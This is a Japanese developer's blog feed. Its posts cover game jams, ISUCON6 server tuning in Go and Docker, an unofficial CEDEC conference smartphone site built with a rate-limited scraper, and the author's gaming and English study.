ゲームは、主にクロノレガリアを遊んでいる。LEFT ALIVE とか SEKIRO、BABA IS YOU を遊ぼうと買ったのだけど、難しいゲームなのでリトライを繰り返していると 1 プレイが長くなってしまうというか、2,3 時間は続けて遊ばないとなかなか進捗に結びつかない。平日はなかなかまとまった時間をとりづらいし、週末は週末で寝てたり寝ながら漫画読んだり出かけたりするとやっぱりまとまった時間はとりづらい。というわけで PS4 の電源を入れるのがおっくうになってる。

クロノレガリアはオンライン対戦型のアーケードゲームで、クラロワがターン制になった感じのルールのカードゲームのようなもの。ターン制だからゆっくりかというとそんなことはなくて、基本的に 1 秒 1 ターンで進んでいくのでけっこう忙しい。1 プレイ 10 分ぐらいで、1 回でだいたい 3,4 プレイやって帰ってる。ようやくランク 7 まで来たけど、腕前的にそろそろ止まりそう。

そんな中 DOTA AUTO CHESS というのが面白いというのを見かけたのでやってみたところ、寝る前にちょっとだけやろうかと始めたら 4 時間ぐらいぶっつづけでやってしまった。だいぶ危なそう。

DOTA AUTO CHESS は Dota2 の Mod として作られたゲームだけど、ルールは MOBA ではなく、[こちらの記事](https://jp.ign.com/dota-auto-chess/33244/preview/20400mod8dota-auto-chess)いわく「 8 人オンライン・ターンベースストラテジー・麻雀・バトルロイヤル 」とのことで、遊んでみたところ「確かに」と思った。ターンごとにもらえるお金をつかってキャラを買っていってパーティーを強化する部分だけがプレイヤーのやることで、あとの戦闘は自動で行われる。キャラはそれぞれ種族とクラスというのがあって、揃えると「シナジー」というボーナスが乗る。いかにシナジーを狙うかというのが麻雀でいう役作りみたいな雰囲気がありそう。(麻雀ちゃんと遊んだことないので…)操作性がちょっと悪いのと、マッチメイキングがあまり快適でないのだけど、これはおそらく Dota2 のシステムをベースとしているところが原因で、開発元はスマホ版を今開発中だそうなので、そちらで改善されるといいなーと思う。1 プレイ 30~40 分ぐらいなので、あんまりスマホに向かない気もするのだけど…

---

ゲーム以外だと、通勤中に NHK のラジオ英語番組を聞いてる。とりあえず基礎英語 1 ~ 3 とラジオ英会話。英会話というか、英語の聞き取りができるぐらいになるといろいろ捗りそうだなあというのと、やっぱり GDC 行きたいよなあというのがモチベーションになってる。聞き流すと全然頭に入らないのでちゃんと聞こうとするのだけど、けっこう疲れる。

---

やっぱり長くなってしまった。
]]>
LÖVE Jam 2019に参加してみた https://www.neguse.dev/posts/9 https://www.neguse.dev/posts/9 Fri, 22 Mar 2019 00:00:00 GMT
# まとめ
LÖVE のゲームジャムに参加して、[Super Jump And Dash Man](https://neguse.itch.io/superjumpanddashman)というゲームを作ったので、遊んでください! LÖVE Jam よかったので別のジャムも参加したい!!!Ludum Dare 44!!

# LÖVE とは
[https://love2d.org/](https://love2d.org/) Lua でゲームが作れるフレームワーク。 2D ゲーム向けで、グラフィクス、サウンド、物理、入力などの機能がシンプルなライブラリとして提供されている。 Windows、Mac、Linux、モバイルなど様々なプラットフォームに対応している。

# [LÖVE Jam](https://itch.io/jam/love2d-jam-2019)とは
LÖVE でゲームを作るオンラインのゲームジャム。2017 年から毎年やってて 3 回目。 土曜 8 時~火曜 8 時までの 3 日間でゲームを作って投稿して、投稿者間でレビューしあって 一人で参加しても複数人で参加しても OK。 お題としてテーマが発表されるものの、あくまでオプショナルで、ゲーム思いつかなかったらネタとして使っていいよ的な感じ。

# 作ったゲームの紹介
[Super Jump And Dash Man](https://neguse.itch.io/superjumpanddashman)というゲームを作った。 その名の通り、ジャンプとダッシュで進んでいくアクションゲーム。 グラフィックはシンプルだけど、操作の気持ちよさに注力したつもり。 慣れると 2 分ぐらいでクリアできるので、タイムアタックもどうぞ。

# 作り方
## 初日
最初に、以下の 2 つをなんとなくテーマとして決めてた。

- 2D Platformer
  - スーパーマリオブラザーズやロックマンのような、横から見たアクションゲームのジャンルのこと
- Box2D ベースで作る
  - いままではなんとなく物理っぽい挙動を自分でプログラムすることが多かったのだけど、物理ライブラリを使った場合どうなんだろう、というのが気になってたのでやってみることにした。結果から言うと、よかった

軽く地形の表示と自キャラ移動を作ってから、[Tiled](https://www.mapeditor.org) を導入した。 Tiled は 2D のマップエディタで、RPG ツクールなどのようなドット絵ベースのタイルマップを作れるのがよくある使い方なのだけど、実は任意の座標に図形や文字を置くことができて、今回はそれでマップを全部作った。LÖVE と Tiled で座標系が異なってて変換に手間取ったりしたけど、座標を手打ちするよりは遥かに楽にマップを作ることができた。 左右移動やジャンプを作って、テスト用のマップを作って挙動を確認して、キャラを動かしながらどんなゲームにしようかなーというのを考えていた。 キャラの移動処理は、[Box2D C++ tutorials](https://www.iforce2d.net/b2dtut/) を参考にしながら実装した。 初日の時点では全然ゲームの最終型が見えてなくて、これはまとまらないんじゃないかなーと思いながら寝た。

## 2 日目
引き続きマップをいじりながらキャラのアクションを実装して、どんなゲームにするかを考えていった。 最初は攻撃とか敵とか作るかなあと考えてたけど、ちょっと時間たりなさそうだなあというのもあって、そのへんはやらないことになった。 初日に壁ジャンプを作ってたので、なんとなく「ロックマンゼロの壁ジャンプ、ダッシュが気持ちよかったなあ」というのを思い出して、それを参考にしながらジャンプとダッシュで進んでいく感じになった。 ジャンプとダッシュは最初から無限にできると微妙なのでアイテムで回数がアンロックされるようにして、じゃあゲーム全体を通して徐々にアクションが開放されていくメトロイド的なゲームにしようとなった。 だいたいアクションと必要な機能が実装できてきたので、このあたりでテストマップは削除して、本マップを作りはじめた。 2 時間マップ作って、7 割ぐらいマップ作ったところで寝た。

## 3 日目
月曜なので仕事。マップ作るだけなら帰ってからちょっとやればいいか~と思ったけど、サウンドとかつけたりすると時間足りないかな~と思って翌日を有給にした。結果朝までかかったので休みにしてよかった。 ひとまずマップを作った。なんとなく 2 日目の時点でスタート地点から進んでくと自然と 1 周してまたスタート地点に戻ってくるときれいにまとまるかなと思っていて、そうなった。その流れで、そのまま 1 周にかかった時間がとれるとタイムアタックできて面白いかな~と思って、時間計測をつけた。 次にサウンドをつけた。 効果音は[bfxr](https://www.bfxr.net/)[chiptone](https://sfbgames.com/chiptone/) という、ランダムでそれっぽい音を自動生成してくれるツールを使って作った。作ったというか、イメージどおりの音が出てくるまでガチャを回した。 BGM は、[KORG Gadget](https://www.korg.com/jp/products/software/korg_gadget/) で。BGM 無いよりあった方がましという気持ちで、とりあえず鳴らしたという感じ。 サウンドつけて、テストプレイやって、だいたい完成でいいかな~と思ったのだけど、それまで Mac で作ってたところを Windows に持っていったら一部動かないところがあって、ちょっと修正に手間取った。 もろもろ調整して、説明を書いて、提出。結局朝までかかった。

## その後
オンラインのゲームジャムは初めてだったのだけど、ジャムの参加者同士でゲームを遊んでレビューし合う仕組みになってて、1 日かけて 37 個ぐらいあった他のゲームを全部遊んだ。これがとてもよくて、ゲーム作ったもの同士なので参考になる意見がもらえたり、他の作品を遊ぶことがいろいろと刺激になるところがあった。

# 感想とこれから
割と直前に思いつきで参加してみたのだけど、とてもよい体験だった。 今回は行き当たりばったりな作り方をした割には、きれいにまとまったと思う。これは自分がすごいのか運がよかったのかどちらかというと、たぶん運がよかっただけな気がする。とはいえ、要所要所でいい選択ができたポイントがいくつかあった結果だと思うので、もっといろいろ作ってみたいという気持ちになった。 あとは、オンラインのゲームジャムは終わったあとにレビューし合う仕組みがあるという部分がよくて、普段ゲーム作ってもなかなかフィードバックをもらえる機会が少ないので、とてもありがたかった。 ということでオンラインのゲームジャム熱が高まっているところに、今月のゴールデンウィークにちょうど[Ludum Dare](https://ldjam.com/events/ludum-dare/44)というオンラインのゲームジャムがあることに気づいたので、多分参加します。次はまた LÖVE でいくか、おそらくその時までには 4.22 が出ていると思うので UE4 でいくか。
]]>
Clean ArchitectureとWALK https://www.neguse.dev/posts/8 https://www.neguse.dev/posts/8 Sun, 19 Aug 2018 00:00:00 GMT
週末にやったことをブログにするテスト。この手のは今まで続いた試しがないので、たぶん今回も続かない

今週末は、Clean Architecture という本を半分ほど読んだのと、WALK という Go 言語の GUI ライブラリを触っていた

Clean Architecture は以前 WEB の記事を読んだことがあったのだけど、よく記事で出てくる 4 重の円がなんなのかよくわからなかった。本を読んだらいいたいことがわかってきた気がする。モジュールの依存関係を DAG(循環のないグラフ)にしたくて、そのためにインタフェースを使って処理の流れと依存関係を逆にするのねと

構造化プログラミングやオブジェクト指向、関数型プログラミングなどのプログラミングパラダイムは、プログラマに制限を課すことがキモだという話、なるほどーとなった。無法地帯だと収拾つかなくなりそう。GOTO 滅すべし。そして言及されない論理型プログラミング…

今回、内容を Dropbox Paper にまとめながら読むのを試してる。まとめることにより頭に定着しそうなのと、後で見返す時に読み直すより時間かからなそうなのがねらい。今のところ感触は悪くないけど、ただ読むより時間かかってそう。まとめが大量になっても読み返すのが大変だし、いいバランスにしたい

Dropbox Paper は、ざっくりいうと Cloud Markdown WYSIWYG Editor なのだけど、感触は悪くはない。欲を言えばオフラインでも動いてほしい。メモ取りたいとき常にオンラインでいられるかというと、そうではなさそう

WALK は、最初ドキュメントも薄いし微妙かなーと思ってたけど、慣れてきたらまあいいじゃんと思えるようになってきた。WALK はマルチプラットフォームではなく完全に Windows にしか対応してない GUI ライブラリなのだけど、その分プログレスステータス(処理中にアプリのアイコンがびよびよなるやつ)とかタスクトレイとか、Windows の機能がちゃんとあるのがよい。マルチプラットフォームのやつだとそのあたりあんまり充実してなさそうな印象(あまり触ったことないけど…昔 Tkinter 触ってたぐらい)

GUI アプリ作るのになぜ Go かというと、やっぱりワンバイナリで exe をコピーするだけで動くの、よいなーと。goroutine や defer は GUI プログラミングでも有用そうだし、いいんじゃないかなという感触。もちろんでかいものなら C#で作った方が良いと思うけど、そんな手間かけずに作れる選択肢も欲しい

[https://github.com/neguse/go-gui-sandbox/blob/master/src/cmd/main.go](https://github.com/neguse/go-gui-sandbox/blob/master/src/cmd/main.go)

ソースはこちら。今回は ping を実行して結果を出力するだけのプログラムを作った。ping は結果が徐々に出るし、非同期プログラミングの練習にもってこいだった。まだ DataBinding 機能がまだあまりわかってないので、そのあたりもう少し調べたい
]]>
ISUCON6に参加してきた https://www.neguse.dev/posts/7 https://www.neguse.dev/posts/7 Mon, 31 Oct 2016 00:00:00 GMT
チーム「坂寝」の「寝」担当として ISUCON6 に参加しました。

結果、予選が[2 日目の 3 位](http://isucon.net/archives/48475110.html)、本戦が 8 位と、そこそこ健闘できたのではないかと思います。

# 予選
予選では自分はアプリコードのチューニングを担当しました。

まず最初にそのまま Go 実装に切り替えてベンチを回してみて、ほぼ 0 点からのスタートということがわかりました。つらい…

とりあえずプロファイルをとろうとして、Go の New Relic を試したりしたのですがうまくいかなくて、あきらめて pprof を使ってプロファイリングしました。

プロファイリングの結果、htmlify の正規表現が圧倒的に重いということがわかりました。
あと、isutar がマイクロサービス的な感じになってて、たぶん無駄なんだろうなあという気がしてました。

まずは正規表現オブジェクトをコンパイルした結果をキャッシュして使いまわすような実装にしてみて、8000 点ぐらいとたしかに速くはなったのですがまだまだという感じでした。[Go の正規表現は遅い](http://qiita.com/methane/items/5aaedf70b99bb713e2a4)という話もあって、このアプローチだと足りなそうでした。pcre 版の正規表現ライブラリを入れてみるという手もあったのですが、ちょっと簡単には入れられなさそうでした。

次に、どうせ正規表現でやっていることは単なる置き換えなので[strings.Replace](https://golang.org/pkg/strings/#Replace)にできないかなと思って置き換えてみました。すると一気に 60000 点ほどになってめっちゃ速くなったものの、だいぶエラーがでるようになってしまいました。
これはおそらく今回の問題だと単語の最長マッチをする必要があるものの、単語ごとに Replace をしていく方式だと最長マッチにはならないのでエラーとなる、というのが原因だったと思います。あるいは何かしらバグ(更新処理でキャッシュ無効化してないとか)が入ってしまった可能性もあります。

そこで、もうちょっといい Replace 関数はないかとおもって Go のドキュメントを眺めていたところ[strings.Replacer](https://golang.org/pkg/strings/#Replacer)を見つけました。これだと単語列をいっきに置換できるので、入力文字列さえ長さ順にソートしておけば最長マッチに使えそうです。

strings.Replacer を使うようにしたり、isutar 機能を isuda に統合+キャッシュしたり、あと[単語リストを作るクエリが`SELET *`](https://github.com/isucon/isucon6-qualify/blob/master/webapp/go/isuda.go#L312)になってたのをキーワードだけにしたり等して、最終的に 148431 点となりました。ただベンチマーカーを走らせるたびに(スコアに影響しない)エラーがたくさん出ていたので、何かしらバグが残っていた可能性は大いにあります。

# 本戦
本戦では自分はサーバ構成の検討とか Docker まわりのサポートを担当しました。というよりは後述のようにインフラで手一杯になってしまってアプリチューニングまでたどり着けませんでした。

まず最初に Azure のコア数制限にひっかかってホストの起動に失敗する状態でしたので、運営側の対応中に先に何かできないか調べました。すると`Deploy to Azure`のリンクからアクセスできる JSON に、デプロイに必要な Ansible のファイルへのリンク、また Ansible のファイルからアプリのソースコードがアクセスできるようになっているのに気づきました。このおかげでちょっとだけ早くソースが読めました。

運営側の対応が終わって、デプロイが完了して、top の結果を見たところ node のプロセスがネックになってそうな感じでした。
そこで以下のように各ホストにプロセスを移動しました。

- isu01
  - node -> (一部 go にプロキシ)
- isu02
  - go
- isu03
  - mysql

ここの変更で問題が出てちょっと手間取りました。1 つめは Azure のホスト名での名前解決がコンテナ外からは使えるもののコンテナ内からは使えないというものです。しかたなく[docker-compose.yml の extra_hosts](https://docs.docker.com/compose/compose-file/#/extrahosts)にホストの IP アドレスを書いて無理やり解決しました。
2 つ目の問題は go からの MySQL へのコネクション数が足りなくなるというものです。これは MySQL の設定を変えればよいのですが、Docker コンテナだとコンフィグファイルを書いて volumes に指定する等設定方法に違いがあってちょっと手間取りました。

このようにしたところ、isu01 の node が CPU 使用率 100%に張り付く感じで、2 コアだと 200%まで行くはずで、おそらくシングルスレッドしか使えてないのだろうなあと思いました。

node の処理は React のサーバサイドレンダリングや静的ファイルの配信、go の api サーバのプロキシという感じで、静的ファイルの配信や api サーバプロキシは nginx とかに任せた方がよさそうな気がしました。
そこで以下のようにサーバ構成を変更しました。

- isu01
  - nginx -> (node, go にプロキシ)
  - node
- isu02
  - go
- isu03
  - mysql

このように変えてもまだ node の CPU 使用率が高かったので、最終的に以下のような構成になりました。

- isu01
  - nginx -> (node, go にプロキシ)
  - node -> (go にプロキシ)
- isu02
  - go
- isu03
  - mysql
- isu04
  - node -> (go にプロキシ)
- isu05
  - node -> (go にプロキシ)

このあたりで 16 時ぐらいになってました。そろそろアプリのチューニングをしようと思ったのですが、プロファイリングに失敗してうまくいきませんでした。

まず pprof や[go-torch](http://deeeet.com/writing/2016/05/29/go-flame-graph/)を使おうとしたのですが、使ってたフレームワークの goji だと`import _ "net/http/pprof"`するだけだと`/debug`のパスでのハンドラが動かずプロファイリングが行なえませんでした。これは`net/http/pprof`パッケージが公開しているハンドラ関数を直接`mux.HandleFunc`に指定することでなんとか動いたようです。
次に、コンテナの外から go-torch を実行したところ、エラーの内容は覚えていないのですがうまくいかずでした。おそらく pprof を使う上ではプロファイリング対象の実行ファイルのデバッグ情報が必要なものの、コンテナの外からでは実行ファイルにアクセスできないのでだめなんじゃないかという気がします。

プロファイリングが手詰まりになってしまったのでなんとなく重そうかつ簡単にキャッシュ化できそうなところをやろうとしたのですが、逆にスコア下がってしまったりしてうまくいかずでした。
結局アプリ側のチューニングはほとんど手付かずで、スコアに影響したかはわからないです。

そんなこんなで、最終的なスコアは 13979 点となりました。

# 感想
予選については、割と満足に取り組めたかと思います。これはプロファイリングでボトルネック探し → チューニング・実装 → 再度ベンチマークをとって確認というループを効率よく回すことができたためと思います。
また Go のアプリはチューニングしやすいという点がよかったです。これはもう少し詳しく言うと、アプリのコードに手を入れたときに何か間違いがあればコンパイルエラーという形でわかるので間違いが起きにくいという点、プロセスのメモリにキャッシュを持つということがやりやすい(他の言語処理系・サーバだとプロセスが複数立ってしまってプロセス間ではキャッシュを共有しにくいが、Go だと 1 プロセス内でマルチコアスケールする方式なのでメモリを共有することができてパフォーマンス上有利)という点があるのではないかと思っています。今回の予選問題のように正規表現ライブラリの性能が低いというデメリットもありますが…

本戦については、Docker をやめるという選択肢を早いうちにとれてればまた違った結果が出てたかもと思っています。Docker 由来の問題がいくつか出ていましたし、パフォーマンス的にもホストに直接デプロイするのと比べてオーバーヘッドがあったのではないかと思います。
また問題を見ながら「これ、もうちょっと時間あったらアプリ側のチューニングいろいろしたいなあ」と思っていました。そのうち問題が公開されたらやってみたいです。

全体を通して、今回そこそこ健闘できたのはチーム内コミュニケーションがスムーズにいった点があると思っています。前回 ISUCON5 にも出ていたのですが、各自それぞれの家から Slack を通じてコミュニケーションしながらオンラインで参加するという形式でやっていて、状況の把握がしづらかったというのがあります。今回は予選では家に集まって、本戦では会場に集まってやれたので、状況の把握がしやすかったです。
チームメイトの方には感謝しかないです。

サーバのパフォーマンスチューニングは仕事でも 2 度ほどやったことがあるのですが、自分がやったことに対してスコアやレスポンスタイムという形で改善の結果が目で見てわかるという点が楽しいと思っていますし、プロファイリングの仕方や改善の仕方など、たくさんの知識や実装スキルが有効に機能する貴重な場だと思います。ISUCON は楽しいですし、ぜひ来年もあれば参加したいです。
]]>
CEDEC非公式スマホサイトをつくってみた https://www.neguse.dev/posts/6 https://www.neguse.dev/posts/6 Tue, 27 Aug 2013 00:00:00 GMT
![非公式スマホサイト][1]

[1]: /media/images/20130827_ss.png

CEDEC という、主にゲーム系の国内最大手カンファレンスがあるのですが、これの非公式スマホサイトを作ってみました。

# 動機
CEDEC の公式サイトは一応スマホで表示してもレイアウトが崩れないようになっていて、じゃああえて非公式スマホサイト作らなくてもいいんじゃね?と思われる方もいると思うのですが、以下の 2 つの問題を解決したくて作りました。

## 公式サイトには必要な情報が載っていない
公式サイトには、当日セッションを確認するのに必要な「セッションがどこの部屋で行われるのか」という情報がありませんでした。
セッションの部屋割り情報は、当日会場で配られるパンフレット(と、公式サイトでダウンロードできるパンフレットの PDF ファイル)には載っているのですが、公式サイト自体には載っていません。
当日会場で使うことを考えると、スマホで PDF を見るのは面倒なので、スマホに最適化された UI で情報が見たかったです。

## ネット上で議論したい
よその勉強会(ないしカンファレンス、セミナー、...)だと、だいたい勉強会ごとのハッシュタグが決められていて、Twitter 上で[tsuda り](http://ascii.jp/elem/000/000/428/428621/)的なことをしたり感想を tweet する人がそれなりにいるんですが、CEDEC だとそれが無いのが個人的にすごい残念に思っています。
これがあると、参加できなかった裏番組セッションの内容を垣間見れたり、他の参加者の意見を知ることができて有益だと思っています。

最初はセッションごとに何らかのユニークなハッシュタグを設定して、そのハッシュタグで tweet ができれば大丈夫かと考えました。ただその方法だと今回作るスマホサイトの利用者の tweet しか拾えず、利用者がそこまで増えないことが想定できていたので不十分でした。
そこで、公式サイトのセッション詳細ページの URL をリンクとして仕込むことで後で拾えるようにしました。これは公式サイトの tweet ボタンと同じ内容になるので、公式サイト経由で tweet されたものも後で拾えます。(ただ、公式サイトの tweet ボタンはなぜか同じ URL が 2 つ入力されてしまうという不具合があるようでした)

# 実装
セッションのデータを収集する部分と、収集したデータを HTML 化する部分からできています。

セッションのデータを収集する部分は、公式サイトから HTML をダウンロードしてきて、HTML の中身を解析して保存する、ということを行っています。
こういうプログラムは一般的に[クローラーとかウェブスクレイピング](http://ja.wikipedia.org/wiki/%E3%82%A6%E3%82%A7%E3%83%96%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0)と呼ばれるそうです。
今回は、Python と[BeautifulSoup(HTML の階層構造をたぐるライブラリ)](http://www.crummy.com/software/BeautifulSoup/)を使って解析しました。

なお、公式サイトにネットワーク負荷をかけないよう、以下のように対策を行いました。

- 同じ URL のページを複数回取得しないように、ローカルにキャッシュとして保存しておく
- 1 度に取得するファイルは 1 個までで、リクエストごとに 1 秒スリープを入れる

解析したデータは、ローカルに JSON 形式で保存しておきました。
CEDEC 公式サイトのデータは、1 つのセッションに複数の発表者が含まれる、という階層構造を持ったデータ構造になっています。
JSON 形式だと、今回のような階層構造をもつデータを保存する際にそのままの形式で保存できるので簡単でした。

収集したデータを HTML 化する部分では、これまた Python と Jinja2(テンプレートエンジン)を使って HTML を生成しました。
HTML 側では、jQuery Mobile を使ってページ遷移を行うような作りとしました。
今回 jQuery Mobile を初めて使ってみたんですが、それっぽい HTML を出力するだけで簡単にスマホ向き UI が作れて便利でした。
また今回は全ページを 1 つの HTML ファイルにして、基本的にはページ遷移の際に HTTP リクエストが飛ばないようにしました(外部サイトに飛ぶリンクは別ですが)。
CEDEC 会場の回線(Wi-Fi とモバイル回線)は割と不安定で、よく応答が返ってこなかったり接続が切れたりしたんですが、この方法だと最初に 1 つの HTML ページを読み込んでしまえばあとはオフラインでも表示できるので、いい感じに使えました。

# 結果
Google Analytics によると、150 ほどのユニークアクセスがあったようです。
また、Twitter で[「便利ですね!」](https://twitter.com/datsuryoku_k/status/369983422078263296)と言っていただけて、ありがたかったです。

今回は、結局この非公式スマホサイトからの tweet はほとんど無かったようです。
この理由を考えてみたのですが、ざっくりいうと「時代が追い付いていない」ということだと思います。
もうちょっと分解すると、以下の 3 つがあるのではないかと思います。

## メモをとるのに忙しい
CEDEC は個人で来ている人があまりいなく、だいたいの方は会社から業務として来ていると思うのですが、そういう人は後で社内レポートを書く必要があるのでセッションの内容のメモをとるのに忙しく、tweet している暇がないのではないかと思います。少なくとも、自分がそうでした。

## tweet していいセッションなのかどうかわかりづらい
セッションによっては、開始前に「このセッションは SNS 等での内容の公開を厳禁とします」と言われることがあるのですが、どのセッションが公開 OK でどのセッションが公開 NG なのかがわかりづらく、公開していいのかどうかがわからないことがありました。
こういう場合、リスクの少ない方に倒す人がほとんどだと思うので、tweet しないのだと思います。

## tweet する人がいないので、tweet しない
セッションの内容や感想を tweet する人が少ないので、「他の人がやっていないことはやらない」という負のスパイラルにいるのではないかと思います。
[イノベーター理論](http://ja.wikipedia.org/wiki/%E6%B5%81%E8%A1%8C#.E3.82.A4.E3.83.8E.E3.83.99.E3.83.BC.E3.82.BF.E3.83.BC.E7.90.86.E8.AB.96)でいうところの「イノベーター」「アーリーアダプター」がろくにいない状態なので、まあそんなもんではないかと。

最近は[CEDiL](http://cedil.cesa.or.jp/)や SlideShare で一部セッションの資料が公開されたり、ニコ生で放送された中継動画がタイムシフト試聴できたりと、あとから資料を見ることが徐々に可能にはなってきているのですが、まだまだ十分ではないと思っています。
例えば、事前に「このセッションのスライドは CEDiL にアップロードされます、ニコ生は中継されません、tweet はしていただいて OK です」のような情報がパンフレットに載っていれば、多少対応がしやすいと思うのですが。

# 感想
最初に、スマホサイトを作るのは楽しかったです。
jQuery Mobile を使うと簡単にいい感じのデザインに仕上がるので、デザインセンス 0 の自分でもいい感じの見た目のものが作れてよかったです。

次に、[@o_ob](https://twitter.com/o_ob)さん作の[CoFun](http://cofun.shirai.la/)が、会期中にがんがん機能追加のアップデートをされていてすごかったです。
CoFun は主に「どのセッションを受講しようか迷っている人に、参考となる情報を示す」という方針で作られていて(勝手な想像ですが)、そのための「時間帯に対して tweet して、どのセッションが面白そうかわかる」「待ち列の可視化」などの機能が実装されていました。
こちらの非公式スマホサイトでは、セッションに対しての感想等を tweet する目的で作っていたので、違いがわかって面白かったです。
時間的余裕があればこっちもバージョンアップしたかったのですが、ちょっと無理でした。

また、これと同じ方法で Google Docs Spreadsheet 版も作ってみたのですが、自分以外にも CEDEC のセッションデータを Excel にしたいという話を Twitter 上でちらほら見かけました。
できれば、公式サイト側でそういう要望に対応できるような何かがあるといいと思います。
例えば、CSV や JSON 形式でセッションのデータを公開するとか。

来年似たようなことをやるかもしれませんが、その場合はとりあえず「サイトに名前をつける」「わかりやすいドメインでアクセスできるようにする」ということをしたいです。
「非公式スマホサイト」という名前だと微妙なのと、他にもスマホサイトを作られる方がいた時にどっちがどっちかわからなくなってしまうので。
]]>
GGJ2013にいってきました https://www.neguse.dev/posts/5 https://www.neguse.dev/posts/5 Tue, 29 Jan 2013 00:00:00 GMT
[![どんぱっぱ][2]][1]

[1]: http://globalgamejam.org/2013/%E3%81%A9%E3%82%93%E3%81%B1%E3%81%A3%E3%81%B1%EF%BC%88push-papa%EF%BC%89
[2]: /media/images/20130129.png

「Global Game Jam」という、「その場で知り合ったメンバーで 48 時間でゲームを作る」イベントにいってきました。
前から知り合いが参加していたりしてて気になってたんですが、今回初めて参加してみました。

以下、思い出しながらふりかえった記録です。どこか間違っていたり、自分が覚えてないこともあるはず。

# 初日
仕事終わってから東京工科大学の八王子キャンパスまで電車とバスで。
途中バスの中に FF のチョコボとかサボテンダー、トンベリのぬいぐるみが飾ってあって、さすが工科大!とか思った。
途中他の GGJ 参加者っぽい人とすれちがって、ひょっとして既にご飯たべにいってるんじゃ…と心配になる。

会場着が 19 時半ぐらい。ここでメンバーと合流。ちょうどご飯食べにいくところだったらしい。間に合ってよかった。
ご飯に向かいつつおおまかなあらすじを聞く。とりあえずネタ出しはしたけど、最終的な方向性はまだ固まってない段階。

ご飯を食べつつゲームの話をしたりする。GBA のナポレオン神ゲーとか。

その後帰って打ち合わせ。だいたいのゲームの内容が決まるが、とりあえずプロトタイプを動かしてみないとどうにもならん、ということでひと通り動くものを翌朝 8 時までに作ることに。この時はまあ余裕かなーとか思ってた。

この段階で決まってたのが、確かこんな感じ。

- 主人公は幼女
- 巨人が波を起こす
- ボタンを押すとジャンプできるが、波のどこにいるかでジャンプの大きさとか方向が変わる
- いろいろと取ったら効果がでるアイテムがある

波を起こすとなるとメッシュをプログラムから動的に作れないとねーみたいな話をしてて、
[ここ](http://nanmo.hateblo.jp/entry/2012/06/02/212328)とかを見ながら、でたー!すごい!となる。

その後、ust での企画発表を終えて、だいたいの役割分担。
「波の挙動」「波のメッシュ化」と「波の当たり判定」「プレイヤー制御」「敵制御」が各一人ずつ。
「企画と音素材用意」が二人と「グラフィック」が一人。
自分は当たり判定でした。

# 二日目
最初は[線分と線分の判定](http://marupeke296.com/COL_2D_No10_SegmentAndSegment.html)でいいかなーと思って昔かいたソースを持ってきたりしたんですが、
よくよく考えてみると今回波は動くので、単純に線分と線分だとどうしてもすり抜けてしまうことに気づく。
とりあえずは、主人公の足元一点との判定でいいことになっていたのと、
波は一定間隔ごとに高さ情報を持った配列になることになっていたので、
適当に補間して現在位置の波の高さをとるようにした。
ひと通り実装できて、早速組み込んでみたところ、思った通り動かない。
これは当たり前で、座標変換まわりの話がすっぽり抜けていたためでした。
[Transform.localToWorldMatrix](http://docs.unity3d.com/Documentation/ScriptReference/Transform-localToWorldMatrix.html)とかをなんとか使いつつ、バグとりつつ、やっと動いたのが朝 10 時ぐらい。結局朝 8 時に間に合わなくて、ごめんなさいでした。

その後プロトタイプを遊びつつ、昼ご飯を食べに出かける。徹夜明けの体に太陽がまぶしすぎる。
ご飯食べた帰りに、「ボタン押しでジャンプするんじゃなくて、ボタン押しで波を起こして戦う感じにしたほうがいいんじゃ」というアイデアが出て、さっそく実装される。なんかいい感じになった。

夕方になって、ここまでずっと寝てなかったので、3 時間ほど寝る。

起きたあと、とりあえず新ルールでバランス調整とかしようとするも、
ここで実は当たり判定がうまく動いてないことがわかる。
主人公がジャンプする方向を波の法線から計算しているんだけど、どうも真横にしか飛ばない。
これだと調整どころの話じゃない、ので修正にかかりっきりになる。

結局のところ、法線の計算結果に変換行列の平行移動成分まで加えてしまっていたのが問題だったようで、
とりあえず動けばいいやと係数を適当にかけて返すようにして、やっと動くようになった。

そして朝まで寝る。

# 三日目
三日目はステージ作ったり、バランス調整したり、エフェクトつけたり、バグとったりをみんなでワシワシやってた。
途中、Update()ごとのキャラの移動処理の中で、速度に Time.deltaTime かけずに位置に反映させてしまっていて、
遅い PC と速い PC とで挙動が変わってしまったりしたけど、なんとかなった。

そして完成。発表。終わった。

# 感想
とにかく、楽しかったです。
特に、めまぐるしくゲームが完成していくスピード感とか、
自分の作業がゲームに反映されることでゲームのクオリティにダイレクトに影響しているというのがわかって貢献してる感が味わえたりするところとか。
出来上がったものを見て、「これは自分一人だとどう頑張っても作れなかったな」と思いました。

個人的な作業をふりかえると、もうちょっと効率よくバグを潰せてればなぁ、というところがちょっと残念でした。
ログと画面を見ながらのデバッグは非常に効率が悪いので、単体テスト書くべきでした。

あと、他のチームメンバーがほとんど学生だったんですが、みんな情熱にあふれていて腕前もすごくて、
「すごい!熱い!」と思うと同時に、「自分も年とったなぁ」と思いました。

そんなわけで、[「どんぱっぱ」](http://globalgamejam.org/2013/%E3%81%A9%E3%82%93%E3%81%B1%E3%81%A3%E3%81%B1%EF%BC%88push-papa%EF%BC%89) よろしくお願いします。
]]>
はこのたいあたり https://www.neguse.dev/posts/4 https://www.neguse.dev/posts/4 Sat, 28 Jul 2012 00:00:00 GMT
コミケ(C82)でゲームを頒布しました。

| 項目     | 内容                                                                 |
| -------- | -------------------------------------------------------------------- |
| タイトル | はこのたいあたり                                                     |
| 分類     | Windows 向け体当たりアクションゲーム                                 |
| おねだん | ~~100 円(コインいっこ分)~~ 今だけ!無料                               |
| 場所     | C82 2 日目 西ち 17a                                                  |
| 入手方法 | [ここ](https://neguse.itch.io/hakonotaiatari) でダウンロードできます |
]]>
GDD2011のDevQuizを解いてみた https://www.neguse.dev/posts/3 https://www.neguse.dev/posts/3 Tue, 13 Sep 2011 00:00:00 GMT
gdd2011

[Google Developer Day 2011](http://www.google.com/events/developerday/2011/tokyo/)に参加するための DevQuiz というクイズがあるのですが、それを解いてみました。

今年の問題は、

- ウォームアップクイズ(4 択問題)
- 分野別(4 問あって、うち 2 問を選択)
- チャレンジクイズ(5000 問のスライドパズルをひたすら解く)

という 3 本立てになっていて、スライドパズル以外は満点であたりまえ、スライドパズルをどれだけ解くか、という勝負でした。

で、どうだったかというと、いろいろトラブルがありつつも、なんとかスライドパズルを 1472 問解いて、ボーダーラインは超えたようです。

どんなトラブルがあったかというと、

- 解の判定処理がバグってて、3x3 しか解けない
- 締切 24 時間前ぐらいにメインの PC が起動しなくなる
- 盤面の評価関数がバグってて、ヒューリスティックが働かない

